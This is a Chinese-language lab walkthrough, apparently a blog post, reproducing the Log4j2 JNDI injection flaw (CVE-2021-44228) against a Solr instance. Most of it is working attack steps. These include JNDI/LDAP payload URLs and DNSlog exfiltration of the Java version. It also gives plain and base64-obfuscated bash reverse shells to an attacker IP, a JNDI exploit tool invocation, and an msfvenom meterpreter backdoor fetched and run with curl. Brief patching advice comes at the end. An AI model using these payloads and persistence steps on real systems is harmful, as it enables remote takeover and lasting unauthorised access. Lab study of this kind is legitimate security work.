CVE-2021-44228 Log4j2漏洞复现

前期了解:

apache log4j: 是java语言中的日志处理套件/程序。2.0-2.14.1存在JNDI注入漏洞,导致攻击者可以控制日志内容的情况下,传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入,执行远程命令。

JNDI:命名和目录接口,是java的一个目录服务应用程序接口,功能:提供一个目录系统,将服务名称和对象关联起来,使开发能使用名称来访问对象。

jndi可以远程加载ldap、rmi服务端提供的一些恶意代码

ldap:轻量级目录访问协议(类似于http,可以通过ldap://xxx.com访问)

log4j:

        fatal         严重/致命

        error         错误

        warn         警告

        info          信息

        debug      调试

        trace         程序允许轨迹[获得信息更详细]

        all         所有日志级别

        定制        自定义的级别

{jndi://ldap://服务IP/恶意代码}

一、启动环境docker-compose up -d:

 

二、浏览器访问 :  http://ip:8983

三、msf检测

msfconsole
msf6 > use auxiliary/scanner/http/log4shell_scanner

msf6 auxiliary(scanner/http/log4shell_scanner) > set rhosts 172.16.12.13

rhosts => 172.16.12.13

msf6 auxiliary(scanner/http/log4shell_scanner) > set rport 8983

rport => 8983

msf6 auxiliary(scanner/http/log4shell_scanner) > set srvhost 172.16.12.12

srvhost => 172.16.12.12

msf6 auxiliary(scanner/http/log4shell_scanner) > run

四、漏洞检测:

 

1、DNSlog 回显 h724nn.dnslog.cn

172.16.12.13:8983 拼接/solr/admin/cores?action= 再利用bp抓包 发送到重发器

利用dns回显查看java版本:

${jndi:ldap://${sys:java.version}.h724nn.dnslog.cn}

2、漏洞利用方法一:利用“中转”机器反弹shell

(1)kali攻击机12.12 ----开启监听

 

(2)“中转”机器12.11----开启ldap服务

(3)构造payload后去访问

http://172.16.12.13:8983/solr/admin/cores?action=${jndi:ldap://172.16.12.11:1389/Basic/ReverseShell/172.16.12.12/5555}

(4)“中转”机器服务得到回显,kali监听成功

3、漏洞利用方法二、利用bash反弹

kali启用ldap服务 在目标机执行反弹shell的命令

命令:bash -i > /dev/tcp/172.16.12.12/5555 2>&1 0>&1

精简版:bash -i >& /dev/tcp/172.16.12.12/5555 0>&1

(1)kali攻击机12开启监听【java版本需为1.8版本】

(2)对payload进行base64编码:

bash -i >& /dev/tcp/172.16.12.12/5555 0>&1 【编码后得到以下结果】

IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE2LjEyLjEyLzU1NTUgMD4mMQ==

在靶机中实验一下效果【base64 -d 解码】

加上bash -i 执行命令后,kali监听成功

echo IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE2LjEyLjEyLzU1NTUgMD4mMQ== | base64 -d | bash -i

利用bash -c 将命令整合到一块 空格用逗号代替,管道符之间的命令用{}括起来

"bash -c {echo,IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE2LjEyLjEyLzU1NTUgMD4mMQ==}|{base64,-d}|{bash,-i}"

(3)攻击机kali12开启ldap服务

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 【与方法一不同,该工具自带恶意代码执行功能】

加载的恶意代码用 -C 表示 加上上面的命令

-A 在哪台机子上启的服务 172.16.12.12 【上面中转机器的工具 用的是-i 】

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE2LjEyLjEyLzU1NTUgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 172.16.12.12

(4)构造payload访问后,kali监听成功:

http://172.16.12.13:8983/solr/admin/cores?action=${jndi:ldap://172.16.12.12:1389/mkqatg}

kali监听成功:【payload可编码后再进行访问】

五、生成持久后门监听6666端口

1、利用msf生成后门

msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=172.16.12.12 LPORT=6666 -f elf -o /var/www/html/jiali

2、使用监听模块监听

use exploit/multi/handler

3、使用获取到的权限远程下载木马并且执行

curl -so /tmp/jiali http://172.16.12.12/jiali;chmod +x /tmp/jiali;/tmp/jiali;rm -f /tmp/jiali

curl拓展:

-s  静默模式,不提示输出
-o  将下载的数据输出到目录
 

在拿到的权限下执行

监听成功:

六、修复建议

1、根除方案

(1)升级到2.15.0版本及以上 不要用2.15.0-rc1和2.15.0-rc2

(2)加装防护设备

(3)配置策略阻断log4j利用链

2、临时处置措施

(1)升级java版本

(2)修改log4j配置 jvm参数设置成true

(3)禁止log4j所在的服务器外连

  • 34
    点赞
  • 34
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值